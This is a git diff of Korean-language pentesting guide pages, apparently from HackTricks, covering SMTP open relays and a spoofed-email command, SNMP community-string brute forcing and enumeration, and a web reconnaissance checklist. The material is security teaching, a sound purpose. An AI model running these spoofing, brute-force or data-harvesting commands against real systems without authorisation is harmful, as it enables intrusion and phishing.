일부 관리자가 잠재적 또는 진행 중인 고객과의 통신과 관련하여 이메일 배달 문제를 피하기 위해 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
|
||||
일부 관리자가 잠재적이거나 진행 중인 클라이언트와의 통신과 관련하여 이메일 배달 문제를 피하기 위해 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있는지 확인하기 위해) `nmap` 도구가 일반적으로 사용됩니다. 이 도구에는 이를 테스트하기 위해 설계된 특정 스크립트가 포함되어 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은:
|
||||
메일 서버가 오픈 릴레이인지 확인하기 위해 (즉, 외부 소스에서 이메일을 전달할 수 있는지 확인하기 위해) `nmap` 도구가 일반적으로 사용됩니다. 이 도구에는 이를 테스트하기 위한 특정 스크립트가 포함되어 있습니다. `nmap`을 사용하여 포트 25에서 서버(예: IP 10.10.10.10)에 대해 자세한 스캔을 수행하는 명령은:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> 만약 **dkim python lib**에서 키를 파싱하는 데 오류가 발생하면, 다음의 것을 사용해도 괜찮습니다.\
|
||||
> 만약 **dkim python lib**에서 키를 파싱하는 데 오류가 발생하면 다음의 것을 자유롭게 사용하세요.\
|
||||
> **NOTE**: 이것은 openssl 개인 키가 **dkim**에 의해 파싱될 수 없는 경우에 빠른 검사를 위한 더러운 수정입니다.
|
||||
>
|
||||
> ```
|
||||
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
|
||||
### Postfix
|
||||
|
||||
보통 설치되어 있다면, `/etc/postfix/master.cf`에는 사용자가 새 메일을 수신할 때 실행할 **스크립트**가 포함되어 있습니다. 예를 들어, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일을 수신하면 `/etc/postfix/filtering`이 실행됨을 의미합니다.
|
||||
일반적으로 설치된 경우 `/etc/postfix/master.cf`에 **사용자가 새 메일을 수신할 때 실행할 스크립트**가 포함되어 있습니다. 예를 들어 `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`라는 줄은 사용자가 mark인 경우 새 메일이 수신되면 `/etc/postfix/filtering`이 실행됨을 의미합니다.
|
||||
|
||||
기타 구성 파일:
|
||||
```
|
||||
@ -508,7 +508,7 @@ submit.cf
|
||||
- [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
- [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
|
||||
|
||||
## HackTricks 자동 명령
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||||
|
@ -10,16 +10,16 @@ PORT STATE SERVICE REASON VERSION
|
||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
> [!NOTE]
|
||||
> SNMP는 **162/UDP** 포트를 **트랩**에 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
|
||||
> SNMP는 **traps**를 위해 포트 **162/UDP**도 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
|
||||
|
||||
### MIB
|
||||
|
||||
SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에서 쿼리 가능한 모든 **SNMP 객체**가 나열된 **텍스트** 파일입니다. 여기에는 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보도 제공하는 **`Object Identifier` (`OID`)**가 **최소한 하나** 포함되어 있습니다.\
|
||||
SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에서 모든 쿼리 가능한 **SNMP 객체**가 나열된 **텍스트** 파일입니다. 여기에는 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보도 제공하는 **하나 이상의 `Object Identifier` (`OID`)**가 포함되어 있습니다.\
|
||||
MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 값을 반환하는지 또는 어떤 데이터 유형이 사용되는지를 설명합니다.
|
||||
|
||||
### OIDs
|
||||
|
||||
**Object Identifiers (OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **Management Information Base (MIB)** 내의 객체를 관리하기 위해 설계되었습니다.
|
||||
**Object Identifiers (OIDs)**는 중요한 역할을 합니다. 이러한 고유 식별자는 **Management Information Base (MIB)** 내에서 객체를 관리하기 위해 설계되었습니다.
|
||||
|
||||
MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조직에 할당됩니다. 이러한 최상위 수준 내에서 글로벌 관리 관행 및 표준을 위한 프레임워크가 설정됩니다.
|
||||
|
||||
@ -27,12 +27,12 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
|
||||
|
||||
.png>)
|
||||
|
||||
웹에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)에서 접근합니다.\
|
||||
일부 **잘 알려진 OID**가 있으며, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내의 OID는 MIB-2에서 정의한 Simple Network Management Protocol (SNMP) 변수를 참조합니다. 그리고 **이 OID에서 파생된 OID**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
|
||||
웹에서 **OID 트리**를 **탐색**할 수 있습니다: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 또는 **OID의 의미를 확인**할 수 있습니다 (예: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)로 접근하세요.\
|
||||
일부 **잘 알려진 OID**가 있으며, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 내의 것들은 MIB-2에서 정의된 Simple Network Management Protocol (SNMP) 변수를 참조합니다. 그리고 **이 OID에서 파생된 OID**를 통해 흥미로운 호스트 데이터(시스템 데이터, 네트워크 데이터, 프로세스 데이터 등)를 얻을 수 있습니다.
|
||||
|
||||
### **OID 예시**
|
||||
|
||||
[**여기에서 예시**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
||||
[**여기에서의 예시**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
||||
|
||||
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
|
||||
|
||||
@ -45,7 +45,7 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
|
||||
- 4 – 이 값은 이 장치가 정부가 아닌 민간 조직에 의해 제작되었음을 나타냅니다.
|
||||
- 1 – 이 값은 장치가 기업 또는 비즈니스 엔티티에 의해 제작되었음을 나타냅니다.
|
||||
|
||||
이 첫 여섯 값은 모든 장치에 대해 동일하며, 장치에 대한 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하지만, 장치가 정부에 의해 제작된 경우는 제외됩니다.
|
||||
이 첫 여섯 값은 모든 장치에 대해 동일한 경향이 있으며, 그들에 대한 기본 정보를 제공합니다. 이 숫자 시퀀스는 모든 OID에 대해 동일하며, 정부에서 제작된 장치의 경우를 제외합니다.
|
||||
|
||||
다음 숫자 세트로 넘어갑니다.
|
||||
|
||||
@ -53,7 +53,7 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
|
||||
- 1 – 장치의 유형을 설명합니다. 이 경우, 알람 시계입니다.
|
||||
- 2 – 이 장치가 원격 터미널 장치임을 나타냅니다.
|
||||
|
||||
나머지 값들은 장치에 대한 구체적인 정보를 제공합니다.
|
||||
나머지 값들은 장치에 대한 특정 정보를 제공합니다.
|
||||
|
||||
- 5 – 이산 알람 포인트를 나타냅니다.
|
||||
- 1 – 장치 내의 특정 포인트
|
||||
@ -65,15 +65,15 @@ MIB 객체 ID 또는 OID의 가장 높은 수준은 다양한 표준 설정 조
|
||||
|
||||
### SNMP 버전
|
||||
|
||||
SNMP에는 2가지 중요한 버전이 있습니다:
|
||||
SNMP에는 2개의 중요한 버전이 있습니다:
|
||||
|
||||
- **SNMPv1**: 주요 버전으로, 여전히 가장 빈번하게 사용되며, **인증은 문자열**(커뮤니티 문자열)에 기반하고 **일반 텍스트**로 전송됩니다(모든 정보가 일반 텍스트로 전송됨). **버전 2 및 2c**도 **일반 텍스트로 트래픽을 전송**하며 **커뮤니티 문자열을 인증**으로 사용합니다.
|
||||
- **SNMPv3**: 더 나은 **인증** 형태를 사용하며 정보는 **암호화**되어 전송됩니다( **사전 공격**이 수행될 수 있지만, SNMPv1 및 v2보다 올바른 자격 증명을 찾기가 훨씬 더 어려워집니다).
|
||||
- **SNMPv3**: 더 나은 **인증** 형태를 사용하며 정보는 **암호화**되어 전송됩니다( **사전 공격**이 수행될 수 있지만 SNMPv1 및 v2보다 올바른 자격 증명을 찾기가 훨씬 더 어려워집니다).
|
||||
|
||||
### 커뮤니티 문자열
|
||||
|
||||
앞서 언급했듯이, **MIB에 저장된 정보에 접근하려면 버전 1 및 2/2c의 커뮤니티 문자열과 버전 3의 자격 증명을 알아야 합니다.**\
|
||||
**2가지 유형의 커뮤니티 문자열**이 있습니다:
|
||||
커뮤니티 문자열에는 **2가지 유형**이 있습니다:
|
||||
|
||||
- **`public`** 주로 **읽기 전용** 기능
|
||||
- **`private`** **읽기/쓰기** 일반적으로
|
||||
@ -81,7 +81,7 @@ SNMP에는 2가지 중요한 버전이 있습니다:
|
||||
**OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로**, **"public"**이 사용되고 있더라도 **일부 값을 쓸 수 있을 수 있습니다.** 또한, **항상 "읽기 전용"인 객체가 존재할 수 있습니다.**\
|
||||
객체를 **쓰기** 시도하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\*
|
||||
|
||||
버전 1 및 2/2c에서 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있으면 **유효한 커뮤니티 문자열이 사용된 것입니다**.
|
||||
버전 1 및 2/2c에서는 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 있으면 **유효한 커뮤니티 문자열이 사용된 것입니다**.
|
||||
|
||||
## 포트
|
||||
|
||||
@ -95,9 +95,9 @@ SNMP에는 2가지 중요한 버전이 있습니다:
|
||||
|
||||
**커뮤니티 문자열을 추측하기 위해** 사전 공격을 수행할 수 있습니다. SNMP에 대한 브루트 포스 공격을 수행하는 다양한 방법은 [여기에서 확인하세요](../../generic-hacking/brute-force.md#snmp). 자주 사용되는 커뮤니티 문자열은 `public`입니다.
|
||||
|
||||
## SNMP 열거하기
|
||||
## SNMP 열거
|
||||
|
||||
장치에서 수집된 **각 OID의 의미**를 확인하기 위해 다음을 설치하는 것이 좋습니다:
|
||||
장치에서 수집된 **각 OID의 의미**를 확인하기 위해 다음을 설치하는 것이 권장됩니다:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
@ -120,7 +120,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
||||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
확장 쿼리(download-mibs) 덕분에 다음 명령어로 시스템에 대한 더 많은 정보를 열거할 수 있습니다:
|
||||
확장 쿼리(download-mibs)를 통해 다음 명령어로 시스템에 대한 더 많은 정보를 열거할 수 있습니다:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
@ -134,7 +134,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
|
||||
### 접근 설정
|
||||
|
||||
**전체 OID 트리**에 대한 접근을 가능하게 하는 두 가지 주요 설정이 있습니다. 이는 네트워크 관리에서 중요한 구성 요소입니다:
|
||||
두 가지 주요 설정이 **전체 OID 트리**에 대한 접근을 가능하게 하며, 이는 네트워크 관리에서 중요한 구성 요소입니다:
|
||||
|
||||
1. **`rwuser noauth`**는 인증 없이 OID 트리에 대한 전체 접근을 허용하도록 설정됩니다. 이 설정은 간단하며 제한 없는 접근을 허용합니다.
|
||||
2. 보다 구체적인 제어를 위해 접근은 다음을 사용하여 부여될 수 있습니다:
|
||||
@ -153,11 +153,11 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
- **저장 장치**: 저장 장치의 모니터링은 `1.3.6.1.2.1.25.2.3.1.4`에 의해 용이해집니다.
|
||||
- **소프트웨어 이름**: 시스템에 설치된 소프트웨어를 식별하기 위해 `1.3.6.1.2.1.25.6.3.1.2`가 사용됩니다.
|
||||
- **사용자 계정**: `1.3.6.1.4.1.77.1.2.25` 값은 사용자 계정을 추적할 수 있게 합니다.
|
||||
- **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`는 TCP 로컬 포트를 모니터링하는 데 지정되어 있으며, 활성 네트워크 연결에 대한 통찰을 제공합니다.
|
||||
- **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`는 TCP 로컬 포트를 모니터링하는 데 지정되어 있으며, 활성 네트워크 연결에 대한 통찰력을 제공합니다.
|
||||
|
||||
### Cisco
|
||||
|
||||
Cisco 장비가 있는 경우 이 페이지를 참조하세요:
|
||||
Cisco 장비가 있는 경우 이 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
cisco-snmp.md
|
||||
@ -177,7 +177,7 @@ snmp-rce.md
|
||||
|
||||
Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다.
|
||||
|
||||
**구문:** braa \[커뮤니티 문자열]@\ [SNMP 서버의 IP]:\[iso id]
|
||||
**구문:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
@ -193,7 +193,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **비공식 문자열 식별**
|
||||
|
||||
중요한 단계는 조직에서 사용하는 **비공식 커뮤니티 문자열**을 식별하는 것입니다. 이 문자열은 라우터에서 **실행 중인 구성**을 추출할 수 있게 해줍니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다.
|
||||
중요한 단계는 조직에서 사용하는 **비공식 커뮤니티 문자열**을 식별하는 것입니다. 특히 Cisco IOS 라우터에서 이 문자열은 라우터의 **실행 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령**을 사용하여 "trap"이라는 단어에 대한 SNMP Trap 데이터를 분석하는 데 의존합니다.
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
@ -205,13 +205,13 @@ grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **이메일**
|
||||
|
||||
마지막으로, 데이터에서 **이메일 주소**를 추출하기 위해 **grep 명령어**와 정규 표현식을 사용하여 이메일 형식과 일치하는 패턴에 집중합니다:
|
||||
마지막으로, 데이터에서 **이메일 주소**를 추출하기 위해, 이메일 형식과 일치하는 패턴에 초점을 맞춘 **grep 명령**과 정규 표현식이 사용됩니다:
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
## SNMP 값 수정
|
||||
|
||||
_**NetScanTools**_를 사용하여 **값을 수정**할 수 있습니다. 그렇게 하려면 **비공식 문자열**을 알아야 합니다.
|
||||
_**NetScanTools**_를 사용하여 **값을 수정**할 수 있습니다. 이를 위해서는 **비공식 문자열**을 알아야 합니다.
|
||||
|
||||
## 스푸핑
|
||||
|
||||
|
@ -31,7 +31,7 @@ web-api-pentesting.md
|
||||
- [ ] 기술 버전의 **알려진 취약점**이 있나요?
|
||||
- [ ] **잘 알려진 기술**을 사용하고 있나요? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있나요?
|
||||
- [ ] 실행할 **전문 스캐너**가 있나요(예: wpscan)?
|
||||
- [ ] **일반 목적의 스캐너**를 실행하세요. 무언가를 발견할지, 흥미로운 정보를 발견할지 모릅니다.
|
||||
- [ ] **일반 목적의 스캐너**를 실행하세요. 그들이 무언가를 발견할지, 흥미로운 정보를 찾을지 알 수 없습니다.
|
||||
- [ ] **초기 점검**부터 시작하세요: **robots**, **sitemap**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
|
||||
- [ ] 웹 페이지를 **스파이더링**하기 시작하세요: 가능한 모든 **파일, 폴더** 및 **사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요.
|
||||
- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._
|
||||
@ -47,7 +47,7 @@ web-api-pentesting.md
|
||||
### Identify
|
||||
|
||||
실행 중인 서버 **버전**에 대한 **알려진 취약점**이 있는지 확인하세요.\
|
||||
**응답의 HTTP 헤더 및 쿠키**는 사용 중인 **기술** 및/또는 **버전**을 **식별**하는 데 매우 유용할 수 있습니다. **Nmap 스캔**은 서버 버전을 식별할 수 있지만, [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**와 같은 도구도 유용할 수 있습니다:**
|
||||
**응답의 HTTP 헤더와 쿠키**는 사용 중인 **기술** 및/또는 **버전**을 **식별**하는 데 매우 유용할 수 있습니다. **Nmap 스캔**은 서버 버전을 식별할 수 있지만, [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**와 같은 도구도 유용할 수 있습니다:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
@ -103,14 +103,14 @@ _같은 도메인이 **다른 포트**, **폴더** 및 **서브도메인**에서
|
||||
|
||||
### Source Code Review
|
||||
|
||||
애플리케이션의 **소스 코드**가 **github**에 있는 경우, **자신의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한** **정보**가 있을 수 있습니다:
|
||||
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신만의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한** **정보**가 있을 수 있습니다:
|
||||
|
||||
- **Change-log 또는 Readme 또는 Version** 파일이나 **버전 정보에 접근 가능한** 것이 있나요?
|
||||
- **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
|
||||
- **Change-log** 또는 **Readme** 또는 **Version** 파일이 있거나 웹을 통해 **버전 정보에 접근할 수 있는** 것이 있나요?
|
||||
- **자격 증명**은 어떻게 그리고 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
|
||||
- **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
|
||||
- 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
|
||||
- 어떤 것을 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
|
||||
- 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
|
||||
- **github**에 (해결된 것과 해결되지 않은 것) **문제**에 **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**)?
|
||||
- **github**에 (해결된 것과 해결되지 않은) **문제**에 **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -145,7 +145,7 @@ wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 수도 있습니다.
|
||||
> 이 시점에서 클라이언트가 사용하는 웹 서버에 대한 정보(주어진 데이터가 있을 경우)를 이미 가지고 있어야 하며, 테스트 중에 염두에 두어야 할 몇 가지 요령이 있어야 합니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 것입니다.
|
||||
|
||||
## 단계별 웹 애플리케이션 탐색
|
||||
|
||||
@ -164,7 +164,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
**오류 강제 발생**
|
||||
|
||||
웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 방식으로 동작할 수 있습니다**. 이는 **취약점**이나 **민감한 정보의 노출**을 초래할 수 있습니다.
|
||||
웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 방식으로 동작할 수 있습니다**. 이는 **취약점**이나 **민감한 정보의 노출**을 열 수 있습니다.
|
||||
|
||||
- /whatever_fake.php (.aspx, .html, 등)와 같은 **가짜 페이지**에 접근
|
||||
- **쿠키 값** 및 **매개변수** 값에 **"\[]", "]]", 및 "\[\["** 추가하여 오류 생성
|
||||
@ -175,12 +175,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**를 위한 충분한 권한이 없는 경우 다음을 시도하세요:
|
||||
|
||||
- **자격 증명** 무작위 대입
|
||||
- **자격 증명** 무차별 대입
|
||||
- 웹 페이지 내에서 **발견된 폴더**의 **나머지**에 WebDav를 통해 **파일 업로드**. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다.
|
||||
|
||||
### **SSL/TLS 취약점**
|
||||
|
||||
- 애플리케이션이 **어느 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약**합니다.
|
||||
- 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약**합니다.
|
||||
- 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다.
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
|
||||
@ -201,37 +201,37 @@ SSL/TLS 취약점에 대한 정보:
|
||||
|
||||
웹 내에서 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 LinkFinder.
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFinder 및 외부 소스로 Archive.org 사용.
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시.
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져오고 응답을 저장합니다.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
|
||||
- [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더.
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다.
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있는 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용하여 JavaScript 파일에서 상대 URL을 구문 분석하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 추출합니다.
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용하여 JavaScript 파일에서 상대 URL을 구문 분석하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 더럽고(minify) 파일에서 상대 URL을 찾아 추출합니다.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 사용된 모든 URL을 인쇄합니다.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
|
||||
